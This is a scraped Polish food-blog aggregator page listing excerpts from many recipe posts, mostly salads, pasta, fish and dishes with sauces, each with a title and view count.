mleka - 10 łyżek mąki pszennej - 2 łyżki mąki ziemniaczanej Ciasto jest gęste, smażymy na patelni w głębokim tłuszczu, placuszki najlepiej robić grube. Wtedy są chrupkie ;-) Placuszki można podać  sosem np. curry z kurczakiem idealnie pasuje, lub ze śmietanką. Pozdrawiam

SMYKWKUCHNI
Kurczak z cytryną i pieczarkami 213

ogórki konserwowe - 1/3 cebuli cukrowej drobno posiekanej i sparzonej wrzątkiem - 100 ml jogurtu greckiego - 100 ml śmietany Wszystkie składniki miksujemy w blenderze (ale robimy to chwilkę , aby w sosie były wyczuwalne kawałeczki grzybów i ogórków, nie może się Wam zrobić papka! ;-)) ) Smacznego

SMYKWKUCHNI
Szaszłyki warzywne z łososiem, CYKL DIETA NISKOKALORYCZNA 227

Kolejny szybki przepis w cyklu DIETA NISKOKALORYCZNA Składniki: - połowa cukinii - 1/2 papryki żółtej - 1/2 papryki czerwonej - 120 g łososia - sos rybny - sól Warzywa nadziewamy na szpikulce i smażymy bez dodatku tłuszczu na grillu elektrycznym. Kaloryczność dania poniżej 300 kcal ;-) Zamieszczam też kilka jadłospisów w tym Cyklu, każdy 1000-1100kcal. Jadłospisy po  4 lub 5 posiłków, tak aby każdy

SMYKWKUCHNI
Sałata do obiadu 388

Kochani zapraszam do wypróbowania kolejnego przepisu na sałatę. Jest pyszna! Składniki: - sałata lodowa - sałata rukola - szczypiorek - kapary Dresing : oliwa z oliwek, ocet balsamiczny, słodki sos chili, sok z cytryny, sól, pieprz cytrynowy

SMYKWKUCHNI
Sałatka z kurczakiem i pomarańczą! FIT NA WIOSNĘ! 268

przepis na sałatkę z przepysznym pieczonym kurczakiem, pomarańczą i ukochaną przeze mnie rukolą. Serdecznie zapraszam! CYKL DIETA NISKOKALORYCZNA ;-) Składniki na sałatkę: - rukola  - kiełki lucerny - kapary - zielony ogórek - pomarańcz sos do sałatki: sok z 1/4 pomarańczy, łyżeczka zalewy z kaparów, oliwa z oliwek, sól  Wszystkie składniki mieszamy ze sobą. Przepis na kurczaka: - pierś z kurczaka - świeży imbir - czosnek - sól

SMYKWKUCHNI
Sałatka z brokułami i paluszkami krabowymi 304

aromatyczna sałatka z surmii i brokułami. Banalnie prosta w wykonaniu! A przede wszystkim niskokaloryczna ;-) składniki: - ugotowane brokuły - zielony ogórek - paluszki o smaku krabowym - przyprawa do sałatek Prymat - sól, pieprz sos : jogurt naturalny, świeży koperek, sól Smacznego

SMYKWKUCHNI
Spaghetti z prawdziwkami- Fusion w kolorach omnomnom 185

zrumieni, dodajemy przeciśnięty czosnek, i pokrojone w paseczki grzyby (jeden kapelusz zostawcie do udekorowania potrawy). Wszytko podsmażamy około 5 minut, dodajemy śmietankę wraz z posiekanymi oscypkami, doprawiamy i redukujemy sos. Dokładamy ugotowany makaron. Wszystko razem łączymy, wykładamy na gorące talerze. Posypujemy posiekanymi ziołami na sam wierz układamy przecięty na pół kapelusz prawdziwka. Gotowe! Smacznego

SMYKWKUCHNI
Pasta jajeczna z tuńczykiem! 196

Smaczna pasta jajeczna z tuńczykiem i pachnącym, świeżym koperkiem, podana z tostem z chleba na zakwasie żytnim własnej produkcji ;-) Zapraszam! SKŁADNIKI: - 3 jajka ugotowane na twardo - puszka tuńczyka w sosie własnym - świeży koperek - 3 łyżki serka śmietankowego ze szczypiorkiem - sól, pieprz WYKONANIE: Jajka kroimy w kostkę. Odsączamy tuńczyka z zalewy. Siekamy koperek. Wszystkie składniki mieszamy ze sobą, doprawiamy solą

SMYKWKUCHNI
PSTRĄG W MAŚLE Z OREGANO! 234

ryż według instrukcji na opakowaniu. - jak ryz się ugotuje, dodaj do niego łyżkę masła i posiakną natkę pietruszki - na talerzu układamy po upieczonym pstrągu i porcję ryżu, możemy polać sosem jaki powstał przy pieczeniu ryby - już gotowe! ;-) Smacznego! ZAPRASZAM NA FACEBOOKA SMYKWKUCHNI! JEŻELI SPODOBAŁ CI SIĘ TEN POMYSŁ NA RYBĘ SPRÓBUJ TEŻ INNYCH PRZEPISÓW NA RYBY I OWOCE MORZA, ZNAJDZIESZ

SMYKWKUCHNI
MINITARTALERKI Z BOTWINKĄ/ SAŁATKA WŁOSKA Z PŁATKAMI MIGDAŁOWYMI 205

danie, dość proste w wykonaniu, stworzone z sezonowych warzyw. Świeża botwinka, z dodatkiem czosnku i serka, na kruchym cieście, pyszne połączenie. Chrupiąca sałatka ze świeżej papryki, pomidorka, oliwek, w sosie włoskim i do tego chrupiące płatki migdałowe. Pyszności! Zapraszam! SKŁADNIKI: NA CIASTO KRUCHE: - 1,5 szklanki mąki -2/3 kostki masła - 1 jajo - 1/4 łyżeczki soli - tłuszcz do wysmarowania formy

SMYKWKUCHNI
DIETETYCZNY DESER Z MALINAMI! 253

kokilki. Żelatynę rozpuść we wrzątku, serki i jogurt wymieszaj energicznie z żelatyną, dodaj maliny i delikatnie wymieszaj. Wylej do kokilek. Wstaw na minimum 4-5 godzin do lodówki. Sos malinowy do deseru: - 150 g malin - 3 słodziki (rozpuść w jak najmniejszej ilości płynu) - 1/2 łyżeczki soku z cytryny - łyżeczka soku z dzikiej róży Wszystko miksujemy, lub ugniatamy widelcem. (adsbygoogle = window.adsbygoogle

SMYKWKUCHNI
Obiad na lato - Placuszki cukiniowo-ziemniaczane! 264

tarce, dodaj ziemniaki, cukinię i resztę składników - wymieszaj wszystko na jednolitą masę -powinna być gęsta - smaż na patelni teflonowej na minimalnej ilości oleju rzepakowego Placuszki możecie podać też z sosem jogurtowym (jogurt naturalny, sól, pieprz, posiekana bazylia, sok z cytryny, odrobina ziół np. prowansalskich) Smacznego!!! Zapraszam na FB! Pięknego dnia! Karola

SMYKWKUCHNI
Sałatka a la nicoise 570

Lekka I przepyszna, nadaje się na lunch do pracy, do obiadu I na przyjęcie. Polecam. Zaczynamy:  Składniki: rukola 10 szt pomidorków koktailowych 3 jajka puszka tuńczyka w sosie własnym 6 rzodkiewek 0,5 czerwonej cebuli pieprz 2-3 łyżki oliwy z oliwek Wykonanie: Do miski dajemy rukolę, pomidorki kroimy na pół, kroimy cebulę w piórka, rzodkiewkę w talarki

Smaki Edyty
Wały Chrobrego , Odra od strony wody i Restauracja Ładoga 213

kociołek) , że starczyła by na 3 osoby. A pielmienii to totalna porażka . Nie wiem czy kupne ale ciasto tak grube , że nie czuć mięsa , a zamiast kwaśnej śmietany jakiś sos serowy ( założę się , że kupny z torebki). Za ton piwo było zimne i smaczne, sala dobrze klimatyzowana i obsługa miła. Po atrakcjach nad Odrą wróciliśmy taksówkami ( bo akurat wolnej

Buniabaje w kuchni
Kruche babeczki z masą serowo borówkową 275

babeczce zrobić kleks z bitej śmietany. Masa serowo borówkowa Borówki z sokiem cytryny i cukrem pudrem zmiksować na mus. Serek z jogurtem naturalnym rozmieszać trzepaczką na gładką masę.Dodać sos borówkowy i wymieszać. Żelatynę przygotować wg przepisu na opakowaniu wlać do masy serowo borówkowej i wymieszać. Masę włożyć do lodówki jak zacznie tężeć napełnić kruche babeczki i pozostawić do stężenia

Ala piecze i gotuje
Od czego zacząć, czyli kilka słów o MOTYWACJI 187

etykiety, które znajdują się z tyłu opakowań. Nie kupujemy tych produktów, które składniki nie są nam znane np. glutaminian sodu, guma arabska itd.  wykluczamy z potraw majonezy, gotowe sosy, serki topione. Po prostu zastąpmy je na jogurt naturalny, kefir, białe serki do sparowania na kanapki. jedzmy dużo warzyw i owoców. To właśnie w nich znajduję się najwięcej pożytecznych kalorii

Truskawkowa Fiesta
Symbol E - konserwanty 186

coraz bardziej spoglądam na wieczka opakowań i po prostu jak widzę nie znajomą dla mnie substancje odkładam z powrotem produkt na półkę. Wystrzegam się jeść mega przetworzonych produktów typu sosy do sałatek, chipsy, czekoladowe batoniki itd. Na prawdę uwierzcie bez tego można żyć! Po prostu można to zastąpić o wiele, wiele lepszą żywnością takimi jak: jabłka, pomidory, razowy chleb. Pozdrawiam

Truskawkowa Fiesta
Kotleciki brokułowo - jajeczne 389

formujemy kotleciki i nakładamy na blachę wyłożoną papierem do pieczenia. Wkładamy do piekarnika i pieczemy przez 30 minut w temperaturze 180 stopni. Polecam podawać je z pikantnym ketchupem lub sosem jogurtowo-czosnkowym. Smacznego

Truskawkowa Fiesta
Kofta z grilla 256

porcji I obklejamy patyk. Ja grillowałam koftę na metalowej tatce około 12 min. Na sam koniec, można położyć koftę bezpośrednio na grilla. Gotowe :) Do kofty podałam pitta bread I sos z jogurtu. Smacznego

Smaki Edyty
Strips a'la KFC 851

przygotowane mięso pudrujemy w mące pszennej. Stripsy wrzucamy partiami na rozgrzany olej i smażymy aż sie zezłocą. Usmażone stripsy odsączamy na ręcznikach papierowych z nadmiaru tłuszczu. Najlepiej podawać z: Sosem czosnkowym, Barbecue, lub pikantnym

Facet i noże
Moja marynata do mięsa na grilla 238

Dlatego zachęcam do przygotowywania własnych marynat, nie są trudne, podstawa to olej, sól, pierz, czosnek, papryka i to co nam wpadnie pod rękę: keczup, koncentrat, miód, musztarda, soki owocowe, sos sojowy, terijaki, ocet balsamiczny, piwo, cydr, kawa i zioła. Naprawdę wszystko można wykorzystać i skomponować sobie własną, niepowtarzalną i zdrową marynatę. Dzisiaj przedstawiam wam jedną z moich ulubionych, często jest

Bernika - moj kulinarny pamietnik
Trzy Znaki Smaku na Lubelszczyźnie - relacja 196

ChNP), słonecznikiem prażonym na oleju rydzowym w wykonaniu Łukasza Toczka . Już po chwili talerze były puste, a my czekaliśmy na pierś gołębia z udkiem confit, soczewicą duszoną z kurkami, sosem z wiśni nadwiślanki i suski sechlońskiej pomysłu Tomasza Trąbskiego . Komu było jeszcze mało mógł rozsmakować się w przygotowanej przez Tomka Woźniaka polskiej jagnięcinie z jabłkiem i miętą. Na koniec Robert

Pasja Smaku
BAKŁAŻAN ZAPIEKANY W POMIDORACH 276

goryczki. Następnie dokładnie płuczę. Pomidory odcedzam, rozgniatam widelcem wraz z serkiem i posiekanymi ziołami oraz pieprzem. Solę nieznacznie, gdyż wcześniej bakłażan był solą nacierany. Układam plastry bakłażana, zalewam powstałym sosem. Na wierzchu układam ser, a całość wstawiam do rozgrzanego piekarnika. Piekę w 180 stopniach przez 30-35 min. SMACZNEGO! Pozdrawiam, Karmel-itka

W kuchni Karmel-itki
Soczysta karkówka 244

Karkówka z grilla, niby nic specjalnego, poniekąd to już taki Polski grillowy standard tym bardziej że już prawie w każdym markecie można kupić już gotową w

Mechanik grilluje
Kotlety z kurczaka i warzyw zupy w pomidorach 368

Jeden z pomysłów na wykorzystanie mięsa i warzyw z zupy. Staram się robić z niego różne potrawy bo ugotowany kurczak w sosie po prostu już mi się znudził. Czytaj więcej

Buniabaje w kuchni
Mięsne kulki z ogórkowym dipem 286

Złociste mięsne kuleczki z orzeźwiającym dipem ogórkowym to dobry pomysł na kolację, czy też jako danie na imprezę. Wystarczy wbić w nie wykałaczki, a łatwiej będzie je zanurzać w sosie. Składniki Mięso wołowo-wieprzowe 500g Bułka tarta Olej Ogórek 1 świeży ogórek Gęsty jogurt 300ml Czosnek 2 ząbki Sól szczypta Mięta kilka listków świeżej mięty Wykonanie: […] The post Mięsne

Kulinarne Przeboje
Syrop z kwiatów lipy 291

grypy. Ma ona właściwości napotne, a także działa przeciwskurczowo i uspokajająco, dzięki czemu stosowana jest przy bezsenności i migrenie. Lipa jest również świetnym składnikiem, który aromatyzuje potrawy takie jak sosy, czy desery. Również nadaje się do robienia nalewek. Poniżej mam dla Was przepis […] The post Syrop z kwiatów lipy appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
73.Rumiane zawijasy: czyli wytrawne rogaliki z kurkami! 285

przyjemnie jak przebiega ich zbieranie (: Te urokliwe, małe grzybki z pięknym żółtym kapeluszem są bardzo pożyteczne, spełniają się jako idealny komponent do śniadaniowej jajecznicy, ale i są idealne w sosach do mięs czy makaronów, świetnie smakują zapiekane na kruchych spodach lub cieście francuskim oraz saute w śmietanie z koperkiem lub marynowane (: I szczerze nie znam osób, którzy tych maleństw

Symfonia Smaków
Tarta jagodowo-malinowa 385

Była malinowa. Była jagodowa. Naszedł czas na malinowo-jagodową. To prawdziwa królowa wśród tart. Maślany smak ciasta, śmietankowy sos i pyszne świeże sezonowe owoce… Niebo w gębie! Zapraszamy! SKŁADNIKI Ciasto spód : 300g mąki pszennej Tortowej 450 1 schłodzone masło (200 gram) 120 gram cukru Masa do polania owoców: 4 żółtka 3 łyżki cukru 200 ml śmietanki 30 % 300 gram

OstryKęs
Spaghetti z pomidorami i kotlecikami warzywnymi 199

rozgrzać łyżkę oliwy i podsmażyć na niej pokrojone w małą kostkę pomidory. Doprawić do smaku i zmniejszyć ogień. Pomidory po kilku minutach powinny zmienić swoją konsystencję i bardziej przypominać sos. Na koniec dodać posiekane listki bazylii. Pieczarki oraz oba rodzaje papryki pokroić w drobną kostkę. Warzywa podsmażyć na rozgrzanej oliwie i przełożyć do miski. Następnie dodać posiekaną natkę pietruszki, starty

Pasja Smaku
Sałatka ze szpinakiem, granatem, prosciutto, suszonymi pomidorami i jajem 479

ładnie układamy na talerzu. Jaja kroimy na pół lub na ćwiartki. Oliwę z oliwek, miód, sok z połowy limonki i sól dokładnie mieszamy, najlepiej trzepaczką, aż powstanie gęsty dressing. Sosem polewamy sałatkę i gotowe

Mango Papaja
Grzyby. Z piekarnika. Cukinia zapiekana, faszerowana kurczakiem i kurkami 290

Baryłkowata, zielona cukinia doskonale nadaje się do faszerowania . Do pękatego brzuszka dostała trochę kurczaka i kurek otulonych kremowym, serowym sosem. Odwdzięczyła się pysznym smakiem bo jest delikatnym, wdzięcznym warzywem, które dobrze harmonizuje z grzybami i aromatycznymi przyprawami. Nawet Żarłoczek, który za nią nie przepada zjadł chętnie i bez narzekania :) Masz kurki i nie wiesz co z nich przygotować ? Może moje

Smaczna Pyza
Pasta z tuńczykiem. 206

dodajemy groszek (ok 3/4 puszki), suszone pomidory pokrojone w małe kawałki dolewamy śmietanę i czekam chwilę aby wszystko przeszło smakiem. Na talerz wykładamy makaron (żytni pasuje idealnie) na to sos, można posypać startym serem. Niesamowicie proste i bardzo dobre

Brzuszki Łakomczuszki
Tarta szpinakowo - serowa. 183

dowolne  ile kto lubi sera). Wlewamy śmietankę, wbijamy jajko. Doprawiamy delikatnie solą i pieprzem (lazur, który zaraz dodamy jest słony). Na cieście wykładamy szpinak i zalewamy śmietankowo-serowym sosem i układamy pokruszony lazur. Całość wsadzamy do piekarnika na (180st) 15-25min, obserwując czy jest już gotowe. Smacznego

Brzuszki Łakomczuszki
Jajko w bułce. 166

powstało dzisiejsze śniadanie. Składniki: bułka jajko troszkę masła podsmażona wędlina kurki pomidory z solą morską i szczypiorkiem firmy Skworcu Odkrawamy "wieczko" bułki i wydrążamy środek. Na dno położyłam sos pomidorowo-paprykowo-czosnkowy, który został mi z wcześniej przygotowanej pizzy co nadało fajnej ostrości. Następnie dodałam podsmażone kawałki wędliny (notabene będącej na granicy zepsucie, stąd decyzja o zesmażeniu), kilka kurek, troszkę

Brzuszki Łakomczuszki
Pierwsza przeprawa przez bardzo polską kuchnię. 275

ogniu dusimy (niestety nie miałam kratki aby na niej położyć mięso i strasznie przylegało do dna garnka). Moje mięsko dusiło się 3h, a nie wszystkie kawałki były mięciutki. Gdy sos dość znacznie się zredukowała, a mięso potrzebowało jeszcze duszenia dolałam wodę z rozpuszczoną wołową kostką. W międzyczasie obieramy 1 kg ziemniaków i gotujemy. Gdy już się ugotują osuszamy i przeciskamy

Brzuszki Łakomczuszki
Obiad, który robi się sam. 311

żaroodpornego. Tak postępujemy z każdym kawałkiem mięsa. Całość dość obficie zalewamy śmietanką i wstawiamy do piekarnika. Wyjmujemy z piekarnika gdy ziemniaki będą już miękkie. Nakładając na talerze mięsko polewamy sosem śmietanowym, a całość podajemy z surówką. Jest to jedno z najlepszych mięs jakie w życiu jadłam! Smacznego

Brzuszki Łakomczuszki
Fish & chips. 144

wegetą oraz pieprzem cytrynowym Skworcu. Na drugiej blaszce wykładamy frytki i polewamy niedużą ilością oleju. Wszystko wstawiamy do piekarnika, aż ryba się upiecze, a frytki zarumienią. W międzyczasie robimy sos czosnkowy.  2 łyżki śmietany, 2 łyżka majonezu i ząbek czosnku przeciśnięty przez praskę - dokładnie mieszamy. Frytki wysypujemy na papierowe ręczniku, odsączamy z tłuszczu i można jeść.   Smacznego

Brzuszki Łakomczuszki
Łosoś z gorgonzolą - szybko i smacznie. 235

się rozpuści dodajemy 1 ząbek czosnku obrany i przeciśnięty przez praskę. Jeszcze chwilkę gotujemy. Zdejmujemy garnek z ognia o dodajemy pokrojonego w małe kawałeczki łososia. Makaron odcedzamy i polewamy sosem. Smacznego

Brzuszki Łakomczuszki
Kiełbaski w glazurze na puree ziemniaczanym z krążkami cebulowymi. 234

dymka pół kostki masła 1/3 szklanki mleka sól białe kiełbaski koktajlowe 100 g miodu lipowego 50 g ziarnistej musztardy 50g musztardy delikatesowej 1 łyżka oliwy ząbek czosnku 1 łyżka sosu sojowego duża cebula jajko bułka tarta mąka olej Myjemy ziemniaki i gotujemy w skórce w osolonej wodzie. W czasie gdy ziemniaki się gotują przygotowujemy kiełbaski, a przepis na nie tutaj

Brzuszki Łakomczuszki
Kuchnia włoska usystematyzowana. 207

szkoła gotowania, a więc i struktura książki będzie trochę inna. W pierwszej kolejności książka dzieli się na: Ciasta i przygotowania wstępne (ciasto słone, ciasto słodkie, ryż i zboża, jajka) Sosy (buliony, wywary, przyprawy, przetwory na słodko i słono) Mięso (białe, czerwone i dziczyzna) Ryby (mięczaki i skorupiaki) Warzywa (warzywa owocowe i strączkowe) Owoce (owoce cytrusowe, egzotyczne i sezonowe) Słodkości (kremy

Brzuszki Łakomczuszki
Cucina Romana i o tym jak wybrałam papieża. 194

jakich składników. Jedliście kiedyś pizzę z ziemniakami? Z cukinią? Ale nie jako jako jeden ze składników ale jako jedyny! Albo placek od pizzy z nutellą, czy z sałatą sosem majonezowym i krewetkami (bez sera?!). Ja wcześniej nie jadłam. Pizzę można dostać wszędzie. Zawinąć, wziąć w rękę i zjeść na Schodach Hiszpańskie albo zanieść do parku i popić winem nalanym

Brzuszki Łakomczuszki
Ciąg dalszy współpracy - Skworcu. 203

lwica. No dobrze, co było w tej pachnącej paczce: laska wanilii z Madagaskaru trawa cytrynowa z Egiptu przyprawa kaukaska (czyli połączenie: soli, gorczycy, czosnku, cukru, papryki słodkiej, chilli) sos chiński (połączenie: soli, marchwi, papryki, pora, cebuli, pasternaku, skrobi ryżowej, cukru, imbiru, papryki słodkiej, kuminu, pieprzu cayenne, grzybów) sól cebulowa przyprawa do ziemniaków (sól, pieprz czarny, majeranek, kminek, pietruszka, papryka słodka

Brzuszki Łakomczuszki
Ekspresowy obiad w 10 minut! 247

bułkę tartą - smażymy ok 3 minut. Na koniec dodajemy makaron. Smażymy przerzucając makaron (nie męczymy makaronu łyżką aby go nie rozdrobnić). Smażymy ok 3 min aż makaron oblepi się "sosem". Następnie wpijamy jajko, czekamy aż na makaronie zrobi się sadzone i wtedy mieszamy jajko z makaronem. Posypałam płatkami żółtego sera. Smacznego

Brzuszki Łakomczuszki
W jakie przepisy klikamy najczęściej? 210

tylko wymyślicie: pomidorek koktajlowy, cebulka marynowana, winogrono, korniszon, pieczarki marynowane, oliwki. Wszystko symetrycznie ułożone zapewni jeszcze lepszy efekt.   3 2053 wejść Kurczak z curry i warzywami w sosie kokosowym   Czyli kolejne starcie z kuchnią lidla i po raz kolejny absolutny zachwyt przepisami Okrasy.  Nic dodać nic ująć dlatego też kopiuję cały przepis, bez żadnych zmian

Brzuszki Łakomczuszki
Nie taka dieta straszna jak ją malują. 340

postem. Dietetycznie Siostro, Bracie! Hej! PRZEPISY: Pyszny początek dnia czyli minikanapeczki z trzema pastami  Super kanapulec z boczniakami Pieczone pierogi z boczniakami i orzechami włoskimi Placki ziemniaczane z sosem jogurtowo - chrzanowym

Brzuszki Łakomczuszki
Dietetycznie: lekkie śniadanie bądź przekąska 401

Polsce znajdziemy 2 rodzjae fuerte i hass, to pierwsze charakteryzuje się zieloną skórką, drugie będzie ubrane w skórkę ciemną i jest bardziej maślane, a więc do naszego śniadania, sosów, past - lepsze) tak aby powstała pasta. Nakładamy na tekturki jak masło. Kładziemy pomidora, cebulę i lekko solimy. Yami! Teraz policzmy co zjedliśmy: kromka - 19 kcal (zjedliśmy 3, a więc 57 kcal

Brzuszki Łakomczuszki
Dietetycznie: sałatka z kurczakiem w pesto. 370

jest gotowa - powinna być jak najkrócej na ogniu, jednak musimy uważać żeby nie była surowa i uwaga! absolutnie nie nakłuwamy mięsa w trakcie smażenia, straci wtedy swoje wszystkie cudowne sosy i będzie niedobrym flakiem - no więc gdy pierś jest gotowa, zdejmujemy ją z ognia i kładziemy na desce. Dajemy jej 3-5 min żeby jeszcze doszła i zamknęła w sobie

Brzuszki Łakomczuszki
Sezon szparagowy - zielone warzywa w natarciu. 316

smakują podprażone nasionka, orzechy mogą to być nasiona słonecznika, dyni, sezam albo jakiś gotowy miks na dressing: 1/2-1 limonki, łyżka oleju sezamowego (można też użyć oliwę), łyżeczka miodu, łyżka sosu sojowego, 1 posiekana chili (można też użyć 1/2), 3 cm startego imbiru Liście dokładnie myjemy osuszamy wykładamy na talerz.  Warzywa gotujemy na parze tak aby były al dente, zaczynamy

Brzuszki Łakomczuszki
Sałatka z jajem, oliwkami, rzodkiewką i miodowo- musztardowym dressingiem 400

bądź w ćwiartki. One również lądują na talerzu. Teraz dressing: musztardę, miód, szczyptę soli i pieprzu dokładnie mieszamy. Teraz wlewamy powoli oliwę i mieszamy trzepaczką. Powstanie nam piękny, błyszczący sos. Polewamy nim nasze warzywa i ugotowane jaja. Na końcu warto dodać świeże oregano, nadaje niesamowity posmak. To tyle, smacznego

Mango Papaja
Roladki z piersi kurczaka z szynką parmeńską i porem 355

soku z limonki, dodajemy musztardę, miód, sól, pieprz i posiekane drobno zioła ( bazylia, mięta i kolendra). Mieszamy wszystko dość energicznie i powoli dodajemy oliwę tak aby powstał nam gęsty sos (około dwie łyżki oliwy). Wkładamy rozbite piersi z kurczaka do naszej marynaty i wstawiamy na 15 minut do lodówki. Po upływie tego czasu wyciągamy kurczaka i zabieramy się za robienie

Mango Papaja
Placki z cukinii, patata i pieczarek 267

każdej strony na średnim ogniu. Ozdabiamy placki na końcu świeżymi ziołami- ja użyłam rzeżuchy ale można ją zastąpić koperkiem, szczypiorkiem i wszystkim co świeże. Polecam zjeść placki z sosem czosnkowym, będą jeszcze lepsze! Smacznego

Mango Papaja
Tosty hawajskie 203

pyszne były! Składniki na jednego tosta: chleb tostowy (u mnie był akurat razowy :)) 2 kromki pół plasterka ananasa z puszki  plasterek szynki  ser mozzarella  u mnie sos słodko-kwaśny jako dodatek No i tak jak robimy tosty, siup wszystko między dwie kromki chleba, do sandwicha i gotowe

Mango Papaja
Zupa meksykańska 377

Składniki: 250 gram mięsa mielonego dwie czerwone cebule  dwa ząbki czosnku papryczka chili pół puszki kukurydzy papryka czerwona puszka czerwonej fasoli w sosie chili lub pomidorowym 150 ml soku pomidorowego  pół szklanki wody  sól pieprz  odrobina cukru do smaku  łyżka masła łyżka oliwy z oliwek nać pietruszki do posypania Na maśle i oliwie z oliwek

Mango Papaja
Spaghetti alla carbonara 244

całość porządnie mieszamy. Trzymając patelnię na małym ogniu wlewamy śmietanę z jajkami i wszystko dokładnie mieszamy, tak by makaron pokrył się dokładnie masą śmietanowo-jajeczną i utworzył się gęsty sos. Podgrzewamy jeszcze kilkanaście sekund, cały czas mieszając aby nie powstała nam "jajecznica". Danie podajemy na gorąco, posypane serem i posiekaną natką pietruszki. Doprawiamy świeżo zmielonym pieprzem. Gotowe

Mango Papaja
Sałata z rukolą, bobem, fetą i jajem 348

przesadzamy z solą bo w sałatce znajduje się również feta). Na talerzu układamy: rukolę, ogórka, paprykę, ugotowany i obrany bób, ser feta, pomidory i jajka. Na końcu polewamy wszystko sosem czosnkowym. Posypujemy świeżymi ziołami do smaku. Gotowe

Mango Papaja
Sałatka z roszponką, tuńczykiem i jajkiem 413

awokado 8 pomidorków koktajlowych 2 wiejskie jajka ocet balsamiczny z Modeny oliwa z oliwek czarny sezam *Używam tuńczyka w oleju, mimo, iż jest bardziej kaloryczny od tego w sosie własnym, ponieważ zdecydowanie bardziej odpowiada mi smak tego pierwszego. WYKONANIE Na talerzu rozkładamy roszponkę, przekrojone na pół pomidorki i awokado pokrojone w cienkie plastry. Skrapiamy składniki oliwą z oliwek i polewamy

OstryKęs
Pappardelle z pesto bazyliowym 324

virgin WYKONANIE Makaron gotujemy w osolonej wodzie zgodnie z instrukcją na opakowaniu. Gdy będzie ugotowany al dente odcedzamy go (odlewając na wszelki wypadek do szklanki 2 łyżki do rozcieńczenia sosu). Makaron zostaje w garnku, w którym był gotowany. Do makaronu dodajemy pesto, przykrywamy garnek i potrząsamy, tak by pesto pokryło dokładnie makaron. Przekładamy makaron na talerze. Każdą porcję skrapiamy oliwą

OstryKęs
Aksamitne pappardelle z białymi szparagami i łososiem 300

jogurt, rozdrobione kawałki łososia wędzonego, sól, świeżo mielony pieprz, startą gałkę muszkatołową, koperek, kapary (opcjonalnie) i podgotowane szparagi. Wszystko razem podgrzewamy kilka minut na małym ogniu. Makaron podajemy z sosem

OstryKęs
Sałatka z brzoskwiniami i kozim serem 260

dużą kostkę, rozłożyć na liściach. Dymki oczyścić i drobno posiekać. Brzoskwinie obrać ze skórki, pokroić w kostkę. Wymieszać. Listki lawendy i tymianku zdjąć z gałązek, dodać do sałatki. Skropić sosem. Kozi ser zapiekać w naczyniu żaroodpornym przez 10 minut w temp. 200st. Ułożyć na sałatce. Od razu podawać. Przepis bierze udział w konkursie "Kujawski ze smakiem do sałatek" organizowanym przez

Z miłości do słodkości
Sałatka makaronowa z wędzonym łososiem i roszponką 394

łososia podzielonego na małe kawałeczki, pokrojone pomidorki i listki roszponki. Wszystkie składniki dokładnie wymieszać. W słoiczku wymieszać oliwę, musztardę, sok z cytryny, doprawić do smaku solą z pieprzem. Gotowym sosem skropić sałatkę. Jeszcze raz wszystko wymieszać i podawać. Paczuszka z pysznymi makaronami Czaniecki

Monia miesza i gotuje
Sałatka z arbuza i fety z malinami 327

kostkę. Rozłożyć na liściach.  Dodać pokrojoną w kostkę fetę oraz rozsypać maliny (możecie je uprzednio umyć, jednak ja nigdy nie myję malin). Skropić sokiem z cytryny.  Polać sosem bazyliowym.  Od razu podawać

Z miłości do słodkości
Ryż smażony po chińsku 458

momencie jestem w Jachrance i będę kibicować znajomym blogerom w Finale Blogerchef. Miłego weekendu! Składniki: 2 woreczki białego ryżu 250 g mieszanki chińskiej (mrożona) 2 jajka sól, pieprz sos sojowy 2 łyżki oleju kilka listków świeżej kolendry 2 łyżki sezamu Wykonanie: Ryż podsmażyć na 1 łyżce oleju, aż do zeszklenia. Następnie trzeba zalać go wodą powyżej 1cm. Posolić i przykryć

Pasja Smaku
Lunchbox: Sałatka z grillowanym kurczakiem i mozzarellą 398

Czasem mam ochotę w pracy na coś lekkiego, dlatego przygotowałam sałatkę z grillowanym kurczakiem, mozzarellą, pomidorem i oliwkami. Do tego oliwa lub sos winegret i gotowe. W sam raz na lato.  Składniki: 2 garście mieszanki sałat 1/2 kulki mozzarelli 1/2 pomidora  kilka zielonych oliwek 1/2 filetu z kurczaka zioła prowansalskie sól, pieprz oliwa 1 łyżeczka soku z cytryny

Pasja Smaku
Krokiety z chleba 12911

każdej kromce położyć plasterek ser, szynki i zwinąć ruloniki. Obtoczyć w roztrzepanym jajku i bułce tartej. Smażyć na oleju z wszystkich stron na średnim ogniu. Podawać z ketchupem, sosem czosnkowym na ciepło lub na zimno

Ala piecze i gotuje
Bardzo zdrowa ryba na parze z warzywami 194

przez praskę. Całość szczelnie zwijamy. W garnku do gotowania na parze układamy warzywa oraz rybę. Wlewamy trochę wody. Przykrywamy i parujemy około 10 minut. Rybę podajemy na warzywach, polewamy sosem, który nam się zrobił podczas parowania ryby

Magiczne Życie Marty
Capricciosa, sałatka z kurczakiem i majonezem 983

przyjdzie ochota.   Oryginalność jej polega na pokrojeniu ” alla julienne”( w cienkie paseczki) świeżych  warzyw:  marchewki, selera, oraz żółtego sera i szynki gotowanej, i wymieszaniu z sosem na bazie majonezu, octu winnego, musztardy i soli.  Te składnki są najczęściej stosowanymi. Choć równie dobrze mozemy użyć: ogórka konserwowego, czerwonej papryki, kaparów, oliwek, ugotowanych krewetek czy  kurczaka

Mia Cucina Sofieta
Ruskie pierogi na rumiano 223

Uwielbiam ruskie pierogi .Zawsze robię ich więcej i mrożę , a potem podgrzewam, podsmażam , podaję z sosami- co mi tam przyjdzie do głowy. Sprawdzałam przepisy które już wstawiłam i wyszło mi , że na takie najprostsze z parzonego ciasta, ugotowane , a potem usmażone na rumiano ( jak juz są gotowe podlewam je odrobiną wody i przykrywam patelnię. Czytaj więcej

Buniabaje w kuchni
Pierogi, pyzy i kluski 327

Kotlety z kaszki w naleśnikach z sosem grzybkowym Czytaj dalej

Gotuj z Misiem
Papryka faszerowana 440

kiszonej kapusty). Poniżej papryka faszerowana ryżem z warzywami. Składniki: opakowanie mrożonych warzyw (ja użyłem mieszanki chińskiej) 1 woreczek ryżu koncentrat pomidorowy olej do smażenia przyprawy: sól, pieprz, cukier, curry, sos sojowy 4 papryki Warzywa smażymy na niewielkiej ilości oleju, dodajemy koncentrat i przyprawy. Dodajemy ugotowany ryż i odrobinę wody. Z papryki odcinamy górną część razem z łodygą, wybieramy ze środka

Gotuj z Misiem
Smażony czołg, czyli warzywa z patelni 261

